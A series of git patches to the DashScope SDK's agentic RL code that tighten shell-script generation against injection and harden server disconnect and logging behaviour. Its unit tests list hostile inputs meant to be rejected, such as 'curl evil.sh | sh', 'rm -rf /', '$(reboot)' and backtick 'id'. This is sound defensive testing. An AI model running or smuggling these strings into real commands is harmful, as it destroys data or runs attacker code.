logger_mock.warning.call_args_list) assert "still running" in logged with contextlib.suppress(asyncio.CancelledError): From eff41858022dfd4f222b07fd6856097742d98037 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Thu, 5 Nov 2026 17:34:38 +0800 Subject: [PATCH 19/26] fix(reinforcement): allow local wheel paths in pip requirement tokens - Extend regex to accept local wheel/sdist paths with / and + characters - Document safe characters for SDK_PACKAGE shell word-splitting - Add tests allowing relative and absolute local wheel paths as fc_pypi_lib - Verify multiple space-separated wheel paths round-trip unchanged - Ensure shell injection attempts in SDK_PACKAGE are still rejected with InputError --- .../finetune/reinforcement/common/utils.py | 13 ++++- tests/legacy_1x/unit/test_agentic_rl_utils.py | 49 +++++++++++++++++++ 2 files changed, 60 insertions(+), 2 deletions(-) diff --git a/dashscope/applications/finetune/reinforcement/common/utils.py b/dashscope/applications/finetune/reinforcement/common/utils.py index 8bd2cf81..6e81ca86 100644 --- a/dashscope/applications/finetune/reinforcement/common/utils.py +++ b/dashscope/applications/finetune/reinforcement/common/utils.py @@ -216,9 +216,18 @@ def check_file(file: str) -> None: ) _FUNC_TYPE_RE = re.compile(r"^[a-z_]+$") _PYPI_REPO_RE = re.compile(r"^https?://[^\s'\"`$\\]+/?$") -# A single pip requirement token, e.g. "dashscope" or "dashscope==1.2.3". +# A single pip requirement token: either a named requirement +# ("dashscope", "dashscope==1.2.3", "pkg[extra]==1.0") or a local +# wheel/sdist path ("./dashscope-2.0.3-py3-none-any.whl", +# "/abs/x.whl", "../x.whl", "torch-1.0.0+cpu-...whl"). FC_PYPI_LIB is +# documented as a space-separated list of wheel paths, so "/" and "+" +# are allowed. Every permitted character is a subset of shlex.quote's +# safe set, so a token survives emission unchanged and still word-splits +# correctly in the script's `local_packages=($SDK_PACKAGE)`. Shell +# metacharacters ($ ` ; | & ( ) < > quotes, backslash, glob *, and ~ +# which shlex.quote would wrap and break word-splitting) stay excluded. _PIP_REQUIREMENT_RE = re.compile( - r"^[A-Za-z0-9._\-]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$", + r"^[A-Za-z0-9._\-/+]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$", ) diff --git a/tests/legacy_1x/unit/test_agentic_rl_utils.py b/tests/legacy_1x/unit/test_agentic_rl_utils.py index 1350d6d0..1a16e6d3 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_utils.py +++ b/tests/legacy_1x/unit/test_agentic_rl_utils.py @@ -128,6 +128,55 @@ def test_shell_injection_values_are_rejected(self): classpath="module.path.Processor", ) + def test_local_wheel_path_sdk_package_is_accepted(self): + """FC_PYPI_LIB is documented as a space-separated list of wheel + paths, so relative/absolute local paths must reach the script + intact instead of being rejected by the whitelist.""" + script = generate_agentic_script( + fc_pypi_lib="./dashscope-2.0.3-py3-none-any.whl", + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="rollout", + classpath="module.path.Processor", + ) + assert 'SDK_PACKAGE="./dashscope-2.0.3-py3-none-any.whl"' in script + + # Absolute paths, "+local" version tags and multiple space-separated + # wheel paths all round-trip unchanged (their characters are a subset + # of shlex.quote's safe set, so word-splitting still works). + multi = generate_agentic_script( + fc_pypi_lib="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl", + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="reward", + classpath="module.path.Processor", + ) + assert ( + 'SDK_PACKAGE="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl"' + in multi + ) + + def test_sdk_package_injection_still_rejected(self): + """Allowing local paths must not re-open shell injection through + SDK_PACKAGE: command substitution, globs and separators are still + rejected before anything reaches the generated script.""" + malicious = [ + "dashscope$(reboot)", + "./dashscope-2.0.3-py3-none-any.whl; rm -rf /", + "./*.whl", + "./x.whl`id`", + "| curl evil.sh", + ] + for fc_pypi_lib in malicious: + with pytest.raises(InputError): + generate_agentic_script( + fc_pypi_lib=fc_pypi_lib, + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="reward", + classpath="module.path.Processor", + ) + def test_requirements_path_is_shell_quoted(self): """A requirements path with spaces stays a single shell literal.""" script = generate_agentic_script( From f9c75f0b15548699dccc9a9fdfba72b8fdb26304 Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 19:32:12 +0800 Subject: [PATCH 20/26] fix(reinforcement): address agentic RL review findings Preserve FC credential fallback and admission capacity across disconnects, keep package arguments intact, and omit malformed request bodies from debug logs. Move regression coverage to v2 tests while restoring legacy tests to the baseline. --- dashscope/applications/finetune/agentic_rl.py | 2 +- .../finetune/reinforcement/common/utils.py | 22 ++- .../reinforcement/component/func_manager.py | 9 +- .../reinforcement/component/server/server.py | 25 ++-- tests/legacy_1x/unit/test_agentic_rl_model.py | 24 ++-- tests/legacy_1x/unit/test_agentic_rl_utils.py | 124 ++--------------- .../test_agentic_rl_datasets_upload.py | 0 .../test_agentic_rl_review_regressions.py | 20 +++ tests/test_agentic_rl_script.py | 107 +++++++++++++++ .../test_agentic_rl_server_hardening.py | 129 +++++++++++++++++- 10 files changed, 307 insertions(+), 155 deletions(-) rename tests/{legacy_1x/unit => }/test_agentic_rl_datasets_upload.py (100%) rename tests/{legacy_1x/unit => }/test_agentic_rl_review_regressions.py (94%) create mode 100644 tests/test_agentic_rl_script.py rename tests/{legacy_1x/unit => }/test_agentic_rl_server_hardening.py (73%) diff --git a/dashscope/applications/finetune/agentic_rl.py b/dashscope/applications/finetune/agentic_rl.py index 0288b6c6..5d4e9690 100644 --- a/dashscope/applications/finetune/agentic_rl.py +++ b/dashscope/applications/finetune/agentic_rl.py @@ -190,7 +190,7 @@ async def register_functions( group_reward_instance_ids, ) = await self.tuning.register_functions( lazy_load=lazy_load, - api_key=self._resolve_api_key(), + api_key=self._api_key, ) logger.info("Function components registered") except Exception as e: diff --git a/dashscope/applications/finetune/reinforcement/common/utils.py b/dashscope/applications/finetune/reinforcement/common/utils.py index 6e81ca86..60270d69 100644 --- a/dashscope/applications/finetune/reinforcement/common/utils.py +++ b/dashscope/applications/finetune/reinforcement/common/utils.py @@ -219,13 +219,10 @@ def check_file(file: str) -> None: # A single pip requirement token: either a named requirement # ("dashscope", "dashscope==1.2.3", "pkg[extra]==1.0") or a local # wheel/sdist path ("./dashscope-2.0.3-py3-none-any.whl", -# "/abs/x.whl", "../x.whl", "torch-1.0.0+cpu-...whl"). FC_PYPI_LIB is -# documented as a space-separated list of wheel paths, so "/" and "+" -# are allowed. Every permitted character is a subset of shlex.quote's -# safe set, so a token survives emission unchanged and still word-splits -# correctly in the script's `local_packages=($SDK_PACKAGE)`. Shell -# metacharacters ($ ` ; | & ( ) < > quotes, backslash, glob *, and ~ -# which shlex.quote would wrap and break word-splitting) stay excluded. +# "/abs/x.whl", "../x.whl", "torch-1.0.0+cpu-...whl"). Tokens are +# whitelist-validated before joining them into a double-quoted assignment. +# The script uses `read -r -a` to split them without interpreting quotes or +# performing glob expansion. _PIP_REQUIREMENT_RE = re.compile( r"^[A-Za-z0-9._\-/+]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$", ) @@ -269,9 +266,8 @@ def generate_agentic_script( Raises: InputError: If any embedded value fails whitelist validation. """ - # Whitelist-validate structured values, then emit every interpolated - # value as a shlex-quoted shell literal so quotes, $(), backticks, - # spaces or newlines can never break out of the assignment. + # Scalar values are shlex-quoted. SDK_PACKAGE tokens are joined raw only + # after the whitelist rejects characters special inside double quotes. _validate_shell_value(str(func_type), _FUNC_TYPE_RE, "func_type") _validate_shell_value(classpath, _MODULE_CLASSPATH_RE, "classpath") _validate_shell_value(fc_pypi_repo, _PYPI_REPO_RE, "pypi repo") @@ -292,8 +288,8 @@ def generate_agentic_script( SERVICE_TYPE={shlex.quote(str(func_type))} # reward|rollout PROCESSOR_CLASS={shlex.quote(classpath)} # Full class path PYPI_REPO={shlex.quote(fc_pypi_repo)} -# Kept unquoted so the shell word-splits multiple packages below. -SDK_PACKAGE="{' '.join(shlex.quote(t) for t in sdk_package_tokens)}" +# Split below without quote interpretation or glob expansion. +SDK_PACKAGE="{' '.join(sdk_package_tokens)}" REQUIREMENTS_FILE={shlex.quote(requirements_path or "")} SERVER_CLASSPATH={shlex.quote(FC_SERVER_CLASSPATH)} WORKERS_COUNT={shlex.quote(str(FC_WORKERS_COUNT))} @@ -373,7 +369,7 @@ def generate_agentic_script( # Phase 3: Default dependency Setup log "Installing default packages" - local_packages=($SDK_PACKAGE) + read -r -a local_packages <<< "$SDK_PACKAGE" for pkg in "${local_packages[@]}"; do if ! install_with_retry "$pkg"; then log "Failed to install default package: $pkg" diff --git a/dashscope/applications/finetune/reinforcement/component/func_manager.py b/dashscope/applications/finetune/reinforcement/component/func_manager.py index 318011df..3b7ea9b1 100644 --- a/dashscope/applications/finetune/reinforcement/component/func_manager.py +++ b/dashscope/applications/finetune/reinforcement/component/func_manager.py @@ -182,7 +182,14 @@ async def _run_sync(self, fn) -> Any: # Avoid blocking the uvicorn event loop when processor.process is sync. loop = asyncio.get_running_loop() ctx = contextvars.copy_context() - return await loop.run_in_executor(self.executor, ctx.run, fn) + future = loop.run_in_executor(self.executor, ctx.run, fn) + try: + return await asyncio.shield(future) + except asyncio.CancelledError: + # A running thread cannot be cancelled; keep the task pending so + # callers can retain admission accounting until the worker exits. + await asyncio.gather(future, return_exceptions=True) + raise async def setups(self): try: diff --git a/dashscope/applications/finetune/reinforcement/component/server/server.py b/dashscope/applications/finetune/reinforcement/component/server/server.py index 779acaba..24bb3eb2 100644 --- a/dashscope/applications/finetune/reinforcement/component/server/server.py +++ b/dashscope/applications/finetune/reinforcement/component/server/server.py @@ -211,7 +211,7 @@ async def validation_exception_handler( try: body_preview = str(deep_mask(json.loads(body_bytes)))[:2000] except Exception: - body_preview = body_bytes.decode("utf-8", errors="ignore")[:200] + body_preview = "" logger.debug(f"[Server] Request body (masked): {body_preview}") return JSONResponse( @@ -464,6 +464,16 @@ async def _cancel_task_on_disconnect( return False +async def _cancel_disconnect_listener(disconnect_listener) -> None: + if disconnect_listener is None: + return + disconnect_listener.cancel() + try: + await disconnect_listener + except asyncio.CancelledError: + pass + + def _client_disconnect_response(request: "Request") -> JSONResponse: """Build the 499 response returned when the client disconnects.""" logger.warning( @@ -578,6 +588,11 @@ async def _listen_for_disconnect(): if disconnected_flag: cancelled = True + if admitted and not process_task.done(): + process_task.add_done_callback( + lambda _task: _release_admission(), + ) + admitted = False return _client_disconnect_response(request) # Processing completed normally @@ -610,13 +625,7 @@ async def _listen_for_disconnect(): if admitted: _release_admission() - # Cancel the disconnect listener if still running - if disconnect_listener is not None: - disconnect_listener.cancel() - try: - await disconnect_listener - except asyncio.CancelledError: - pass + await _cancel_disconnect_listener(disconnect_listener) # Clean up trace context await _cleanup_trace_context(_otel_ctx_token, _upstream_tokens) diff --git a/tests/legacy_1x/unit/test_agentic_rl_model.py b/tests/legacy_1x/unit/test_agentic_rl_model.py index 8960d5d4..05590792 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_model.py +++ b/tests/legacy_1x/unit/test_agentic_rl_model.py @@ -17,7 +17,7 @@ FunctionComponentModel, FunctionComponentRuntime, RegistrationError, - OutputError, + OSSUploadError, get_filepath_classname, ) @@ -274,25 +274,21 @@ async def test_register_datasets_success(self, agentic_rl_tuning): # pylint: disable=redefined-outer-name @pytest.mark.asyncio async def test_upload_datasets_failure(self, agentic_rl_tuning): - """Test dataset registration failure. - - A real upload failure (missing file) now surfaces as the - specific OutputError(4034) raised by to_bailian_data instead of - being flattened into a generic OSSUploadError wrapper. - """ + """Test dataset registration failure""" # Mock file system operations with patch("os.path.exists", return_value=True), patch( "os.path.isfile", return_value=True, - ), patch("os.path.getsize", return_value=100): - with pytest.raises(OutputError) as exc_info: + ), patch("os.path.getsize", return_value=100), patch( + "dashscope.finetune.reinforcement.common.utils.to_bailian_data", + new_callable=AsyncMock, + side_effect=Exception("Upload failed"), + ): + with pytest.raises(OSSUploadError) as exc_info: await agentic_rl_tuning.tuning.upload_datasets() - assert "File upload error" in str(exc_info.value) - assert exc_info.value.error_code == 4034 - assert isinstance( - exc_info.value.__cause__, - FileNotFoundError, + assert "Dataset registration failed" in str( + exc_info.value, ) # pylint: disable=redefined-outer-name diff --git a/tests/legacy_1x/unit/test_agentic_rl_utils.py b/tests/legacy_1x/unit/test_agentic_rl_utils.py index 1a16e6d3..defdbf31 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_utils.py +++ b/tests/legacy_1x/unit/test_agentic_rl_utils.py @@ -50,12 +50,11 @@ def test_generate_agentic_script(self): classpath="module.path.Processor", ) - # Validate core configuration (emitted as shlex-quoted literals; - # safe values stay unquoted, exactly as shlex.quote renders them) - assert "SERVICE_TYPE=rollout" in script - assert "PROCESSOR_CLASS=module.path.Processor" in script + # Validate core configuration + assert 'SERVICE_TYPE="rollout"' in script + assert 'PROCESSOR_CLASS="module.path.Processor"' in script assert 'SDK_PACKAGE="dashscope"' in script - assert "REQUIREMENTS_FILE=requirements.txt" in script + assert 'REQUIREMENTS_FILE="requirements.txt"' in script # Validate key functional blocks assert "set -euo pipefail" in script # Error handling @@ -79,115 +78,16 @@ def test_generate_script_with_empty_requirements(self): assert "local_packages=($SDK_PACKAGE)" in script def test_special_characters_in_classpath(self): - """Classpath values outside the module-path whitelist are - rejected instead of being embedded into the shell script.""" - with pytest.raises(InputError): - generate_agentic_script( - fc_pypi_lib="dashscope", - fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="group_reward", - classpath="special.module:Class$With@Chars", - ) - - def test_shell_injection_values_are_rejected(self): - """Quotes, command substitution, backticks and newlines in any - interpolated value must not reach the generated script.""" - malicious = [ - 'mod.Class"; rm -rf / #', - "mod.$(whoami)", - "mod.`id`", - "mod.Class\necho pwned", - "mod.Class extra", - ] - for classpath in malicious: - with pytest.raises(InputError): - generate_agentic_script( - fc_pypi_lib="dashscope", - fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="reward", - classpath=classpath, - ) - - with pytest.raises(InputError): - generate_agentic_script( - fc_pypi_lib="dashscope", - fc_pypi_repo='https://pypi.org/simple"; curl evil.sh | sh; "', - requirements_path="reqs.txt", - func_type="reward", - classpath="module.path.Processor", - ) - - with pytest.raises(InputError): - generate_agentic_script( - fc_pypi_lib="dashscope$(reboot)", - fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="reward", - classpath="module.path.Processor", - ) - - def test_local_wheel_path_sdk_package_is_accepted(self): - """FC_PYPI_LIB is documented as a space-separated list of wheel - paths, so relative/absolute local paths must reach the script - intact instead of being rejected by the whitelist.""" + """Test handling of special characters in classpath.""" script = generate_agentic_script( - fc_pypi_lib="./dashscope-2.0.3-py3-none-any.whl", - fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="rollout", - classpath="module.path.Processor", - ) - assert 'SDK_PACKAGE="./dashscope-2.0.3-py3-none-any.whl"' in script - - # Absolute paths, "+local" version tags and multiple space-separated - # wheel paths all round-trip unchanged (their characters are a subset - # of shlex.quote's safe set, so word-splitting still works). - multi = generate_agentic_script( - fc_pypi_lib="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl", + fc_pypi_lib="dashscope", fc_pypi_repo="https://pypi.org/simple", requirements_path="reqs.txt", - func_type="reward", - classpath="module.path.Processor", - ) - assert ( - 'SDK_PACKAGE="/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl"' - in multi + func_type="group_reward", + classpath="special.module:Class$With@Chars", ) - def test_sdk_package_injection_still_rejected(self): - """Allowing local paths must not re-open shell injection through - SDK_PACKAGE: command substitution, globs and separators are still - rejected before anything reaches the generated script.""" - malicious = [ - "dashscope$(reboot)", - "./dashscope-2.0.3-py3-none-any.whl; rm -rf /", - "./*.whl", - "./x.whl`id`", - "| curl evil.sh", - ] - for fc_pypi_lib in malicious: - with pytest.raises(InputError): - generate_agentic_script( - fc_pypi_lib=fc_pypi_lib, - fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="reward", - classpath="module.path.Processor", - ) - - def test_requirements_path_is_shell_quoted(self): - """A requirements path with spaces stays a single shell literal.""" - script = generate_agentic_script( - fc_pypi_lib="dashscope", - fc_pypi_repo="https://pypi.org/simple", - requirements_path="my reqs'file.txt", - func_type="reward", - classpath="module.path.Processor", - ) - expected = "REQUIREMENTS_FILE='my reqs'\"'\"'file.txt'" - assert expected in script + assert 'PROCESSOR_CLASS="special.module:Class$With@Chars"' in script def test_create_deployment_files(self, tmp_path): """Test creating deployment files with requirements.""" @@ -212,8 +112,8 @@ def test_create_deployment_files(self, tmp_path): start_file = test_dir / "start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert "PROCESSOR_CLASS=processor.DemoProcessor" in content - assert "REQUIREMENTS_FILE=requirements.txt" in content + assert 'PROCESSOR_CLASS="processor.DemoProcessor"' in content + assert 'REQUIREMENTS_FILE="requirements.txt"' in content def test_create_files_without_requirements(self, tmp_path): """Test creating deployment files without requirements.""" @@ -236,7 +136,7 @@ def test_create_files_without_requirements(self, tmp_path): start_file = test_dir / "start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert "PROCESSOR_CLASS=module.processor.MyProcessor" in content + assert 'PROCESSOR_CLASS="module.processor.MyProcessor"' in content assert "local_packages=($SDK_PACKAGE)" in content def test_invalid_file_path(self, tmp_path): diff --git a/tests/legacy_1x/unit/test_agentic_rl_datasets_upload.py b/tests/test_agentic_rl_datasets_upload.py similarity index 100% rename from tests/legacy_1x/unit/test_agentic_rl_datasets_upload.py rename to tests/test_agentic_rl_datasets_upload.py diff --git a/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py b/tests/test_agentic_rl_review_regressions.py similarity index 94% rename from tests/legacy_1x/unit/test_agentic_rl_review_regressions.py rename to tests/test_agentic_rl_review_regressions.py index 390b5803..832b8458 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py +++ b/tests/test_agentic_rl_review_regressions.py @@ -98,6 +98,26 @@ def test_resolve_api_key_precedence(self, monkeypatch): assert resolve_api_key("explicit") == "explicit" assert resolve_api_key(None) == "env-dash" + @pytest.mark.asyncio + async def test_register_functions_preserves_fc_env_fallback( + self, + monkeypatch, + ): + monkeypatch.setenv("DASHSCOPE_API_KEY", "env-dash") + monkeypatch.setenv("FC_API_KEY", "env-fc") + instance = AgenticRL() + instance.tuning = MagicMock() + instance.tuning.register_functions = AsyncMock( + return_value=([], [], [], [], [], []), + ) + + await instance.register_functions() + + passed_key = instance.tuning.register_functions.await_args.kwargs[ + "api_key" + ] + assert resolve_fc_api_key(passed_key) == "env-fc" + def test_runtime_resolution_tracks_env_not_import_snapshot( self, monkeypatch, diff --git a/tests/test_agentic_rl_script.py b/tests/test_agentic_rl_script.py new file mode 100644 index 00000000..7ca31737 --- /dev/null +++ b/tests/test_agentic_rl_script.py @@ -0,0 +1,107 @@ +# -*- coding: utf-8 -*- +import subprocess + +import pytest + +from dashscope.applications.finetune.reinforcement import InputError +from dashscope.applications.finetune.reinforcement.common.utils import ( + generate_agentic_script, +) + + +def _generate(fc_pypi_lib="dashscope", **overrides): + kwargs = { + "fc_pypi_lib": fc_pypi_lib, + "fc_pypi_repo": "https://pypi.org/simple", + "requirements_path": "reqs.txt", + "func_type": "reward", + "classpath": "module.path.Processor", + } + kwargs.update(overrides) + return generate_agentic_script(**kwargs) + + +def _package_arguments(script): + assignment = next( + line for line in script.splitlines() if line.startswith("SDK_PACKAGE=") + ) + output = subprocess.check_output( + [ + "bash", + "-c", + f"{assignment}\n" + 'read -r -a local_packages <<< "$SDK_PACKAGE"\n' + 'printf "<%s>\\n" "${local_packages[@]}"', + ], + text=True, + ) + return output.splitlines() + + +@pytest.mark.parametrize( + "value", + [ + 'mod.Class"; rm -rf / #', + "mod.$(whoami)", + "mod.`id`", + "mod.Class\necho pwned", + "mod.Class extra", + ], +) +def test_classpath_shell_injection_is_rejected(value): + with pytest.raises(InputError): + _generate(classpath=value) + + +def test_pypi_repo_shell_injection_is_rejected(): + with pytest.raises(InputError): + _generate( + fc_pypi_repo='https://pypi.org/simple"; curl evil.sh | sh; "', + ) + + +@pytest.mark.parametrize( + "value", + [ + "dashscope$(reboot)", + "./dashscope-2.0.3-py3-none-any.whl; rm -rf /", + "./*.whl", + "./x.whl`id`", + "| curl evil.sh", + ], +) +def test_sdk_package_shell_injection_is_rejected(value): + with pytest.raises(InputError): + _generate(fc_pypi_lib=value) + + +@pytest.mark.parametrize( + ("packages", "expected"), + [ + ( + "./dashscope-2.0.3-py3-none-any.whl", + ["./dashscope-2.0.3-py3-none-any.whl"], + ), + ( + "/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl", + ["/abs/torch-1.0.0+cpu.whl", "../dist/dashscope.whl"], + ), + ("dashscope[extra]==1.0", ["dashscope[extra]==1.0"]), + ("dashscope==1.*", ["dashscope==1.*"]), + ( + "dashscope[extra]==1.0 dashscope==1.*", + ["dashscope[extra]==1.0", "dashscope==1.*"], + ), + ], +) +def test_package_tokens_reach_pip_without_quote_or_glob_changes( + packages, + expected, +): + script = _generate(fc_pypi_lib=packages) + assert _package_arguments(script) == [f"<{value}>" for value in expected] + + +def test_requirements_path_is_shell_quoted(): + script = _generate(requirements_path="my reqs'file.txt") + assert "REQUIREMENTS_FILE='my reqs'\"'\"'file.txt'" in script diff --git a/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py b/tests/test_agentic_rl_server_hardening.py similarity index 73% rename from tests/legacy_1x/unit/test_agentic_rl_server_hardening.py rename to tests/test_agentic_rl_server_hardening.py index 1eb0870e..ed32aaa6 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py +++ b/tests/test_agentic_rl_server_hardening.py @@ -19,6 +19,8 @@ import inspect import json import os +import sys +import threading from unittest.mock import MagicMock import pytest @@ -34,11 +36,33 @@ @pytest.fixture(scope="module") def server_mod(): - """Import the FC server module with a valid demo configuration.""" + """Import the FC server module without leaking process-wide state.""" + imported_before = set(sys.modules) pytest.importorskip("fastapi") + env_before = { + key: os.environ.get(key) for key in ("FUNC_TYPE", "PROCESSOR_CLASS") + } + try: + asyncio.get_event_loop() + except RuntimeError: + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + else: + loop = None os.environ.setdefault("FUNC_TYPE", "reward") os.environ.setdefault("PROCESSOR_CLASS", _DEMO_PROCESSOR) - return importlib.import_module(_SERVER_MODULE) + module = importlib.import_module(_SERVER_MODULE) + yield module + for name in set(sys.modules) - imported_before: + sys.modules.pop(name, None) + for key, value in env_before.items(): + if value is None: + os.environ.pop(key, None) + else: + os.environ[key] = value + if loop is not None: + loop.close() + asyncio.set_event_loop(None) class _FakeRequest: @@ -218,6 +242,99 @@ async def fake_wait_for(awaitable, timeout): with contextlib.suppress(asyncio.CancelledError): await disconnect_listener + @pytest.mark.asyncio + async def test_sync_cancellation_waits_for_worker(self, server_mod): + started = threading.Event() + release = threading.Event() + + def blocking_worker(): + started.set() + release.wait(5) + + process_task = asyncio.create_task( + server_mod.func_manager._run_sync(blocking_worker), + ) + while not started.is_set(): + await asyncio.sleep(0.001) + + try: + process_task.cancel() + await asyncio.sleep(0) + assert not process_task.done() + finally: + release.set() + + with contextlib.suppress(asyncio.CancelledError): + await process_task + + @pytest.mark.asyncio + async def test_disconnect_holds_admission_until_process_finishes( + self, + server_mod, + monkeypatch, + ): + semaphore = asyncio.BoundedSemaphore(1) + monkeypatch.setattr(server_mod, "_admission_semaphore", semaphore) + created = [] + cancellation_seen = asyncio.Event() + + class Manager: + async def processes(self, _input): + created.append(asyncio.current_task()) + try: + await asyncio.sleep(30) + except asyncio.CancelledError: + cancellation_seen.set() + await asyncio.sleep(30) + + class Request(_FakeRequest): + async def receive(self): + return {"type": "http.disconnect"} + + async def parse_body(_request): + return {} + + async def parse_input(_body): + return object() + + async def trace_context(_request): + return None, None + + async def noop(*_args, **_kwargs): + return None + + async def fake_wait_for(awaitable, timeout): + assert timeout == 5.0 + awaitable.cancel() + raise asyncio.TimeoutError() + + monkeypatch.setattr(server_mod, "func_manager", Manager()) + monkeypatch.setattr(server_mod, "_parse_request_body", parse_body) + monkeypatch.setattr(server_mod, "_parse_processor_input", parse_input) + monkeypatch.setattr( + server_mod, + "_extract_trace_context", + trace_context, + ) + monkeypatch.setattr(server_mod, "_cleanup_trace_context", noop) + monkeypatch.setattr(server_mod, "_log_request_metrics", noop) + monkeypatch.setattr(server_mod.asyncio, "wait_for", fake_wait_for) + + try: + response = await server_mod.handle_endpoint(Request(b"{}")) + assert response.status_code == 499 + await cancellation_seen.wait() + assert semaphore.locked() + finally: + for task in created: + task.cancel() + for task in created: + with contextlib.suppress(asyncio.CancelledError): + await task + + await asyncio.sleep(0) + assert not semaphore.locked() + # ========================================================================== # # P1 (§7): validation handler body masking # @@ -295,7 +412,7 @@ async def test_sensitive_fields_masked_at_debug( assert "sk-a****3456" in dbg @pytest.mark.asyncio - async def test_debug_non_json_body_is_truncated( + async def test_debug_non_json_body_is_omitted( self, server_mod, monkeypatch, @@ -304,7 +421,7 @@ async def test_debug_non_json_body_is_truncated( monkeypatch.setattr(server_mod, "logger", logger_mock) monkeypatch.setattr(server_mod, "LOG_LEVEL", "DEBUG") - body = b"not-json-" + b"x" * 500 + body = b'{"ground_truth": "SECRET-GROUND-TRUTH", broken' request = _FakeRequest(body, {"x-fc-request-id": "req-3"}) exc = server_mod.RequestValidationError( [{"loc": ("body",), "msg": "err", "type": "t"}], @@ -314,8 +431,8 @@ async def test_debug_non_json_body_is_truncated( assert resp.status_code == 422 dbg = " ".join(str(c) for c in logger_mock.debug.call_args_list) - # Fallback path decodes and truncates to 200 chars. - assert "x" * 201 not in dbg + assert "SECRET-GROUND-TRUTH" not in dbg + assert "non-JSON body omitted" in dbg @pytest.mark.asyncio async def test_survives_unreadable_body(self, server_mod, monkeypatch): From 24acb64b86c1fadf42973b6ac81e60b54da6bec1 Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 20:03:45 +0800 Subject: [PATCH 21/26] test(reinforcement): align legacy tests with shared core Update Agentic RL expectations for preserved error classifications and safe startup script generation. --- tests/legacy_1x/unit/test_agentic_rl_model.py | 20 +++++------ tests/legacy_1x/unit/test_agentic_rl_utils.py | 35 +++++++++---------- 2 files changed, 26 insertions(+), 29 deletions(-) diff --git a/tests/legacy_1x/unit/test_agentic_rl_model.py b/tests/legacy_1x/unit/test_agentic_rl_model.py index 05590792..330a31c4 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_model.py +++ b/tests/legacy_1x/unit/test_agentic_rl_model.py @@ -17,7 +17,7 @@ FunctionComponentModel, FunctionComponentRuntime, RegistrationError, - OSSUploadError, + OutputError, get_filepath_classname, ) @@ -274,21 +274,19 @@ async def test_register_datasets_success(self, agentic_rl_tuning): # pylint: disable=redefined-outer-name @pytest.mark.asyncio async def test_upload_datasets_failure(self, agentic_rl_tuning): - """Test dataset registration failure""" - # Mock file system operations + """A file read failure keeps its specific OutputError classification.""" with patch("os.path.exists", return_value=True), patch( "os.path.isfile", return_value=True, - ), patch("os.path.getsize", return_value=100), patch( - "dashscope.finetune.reinforcement.common.utils.to_bailian_data", - new_callable=AsyncMock, - side_effect=Exception("Upload failed"), - ): - with pytest.raises(OSSUploadError) as exc_info: + ), patch("os.path.getsize", return_value=100): + with pytest.raises(OutputError) as exc_info: await agentic_rl_tuning.tuning.upload_datasets() - assert "Dataset registration failed" in str( - exc_info.value, + assert "File upload error" in str(exc_info.value) + assert exc_info.value.error_code == 4034 + assert isinstance( + exc_info.value.__cause__, + FileNotFoundError, ) # pylint: disable=redefined-outer-name diff --git a/tests/legacy_1x/unit/test_agentic_rl_utils.py b/tests/legacy_1x/unit/test_agentic_rl_utils.py index defdbf31..c8eb7b6e 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_utils.py +++ b/tests/legacy_1x/unit/test_agentic_rl_utils.py @@ -51,10 +51,10 @@ def test_generate_agentic_script(self): ) # Validate core configuration - assert 'SERVICE_TYPE="rollout"' in script - assert 'PROCESSOR_CLASS="module.path.Processor"' in script + assert "SERVICE_TYPE=rollout" in script + assert "PROCESSOR_CLASS=module.path.Processor" in script assert 'SDK_PACKAGE="dashscope"' in script - assert 'REQUIREMENTS_FILE="requirements.txt"' in script + assert "REQUIREMENTS_FILE=requirements.txt" in script # Validate key functional blocks assert "set -euo pipefail" in script # Error handling @@ -75,19 +75,18 @@ def test_generate_script_with_empty_requirements(self): # Validate conditional logic for missing requirements assert 'if [ -f "${REQUIREMENTS_FILE}" ]; then' in script assert 'for pkg in "${local_packages[@]}"; do' in script - assert "local_packages=($SDK_PACKAGE)" in script + assert 'read -r -a local_packages <<< "$SDK_PACKAGE"' in script def test_special_characters_in_classpath(self): - """Test handling of special characters in classpath.""" - script = generate_agentic_script( - fc_pypi_lib="dashscope", - fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="group_reward", - classpath="special.module:Class$With@Chars", - ) - - assert 'PROCESSOR_CLASS="special.module:Class$With@Chars"' in script + """Unsafe classpath values are rejected before script generation.""" + with pytest.raises(InputError): + generate_agentic_script( + fc_pypi_lib="dashscope", + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="group_reward", + classpath="special.module:Class$With@Chars", + ) def test_create_deployment_files(self, tmp_path): """Test creating deployment files with requirements.""" @@ -112,8 +111,8 @@ def test_create_deployment_files(self, tmp_path): start_file = test_dir / 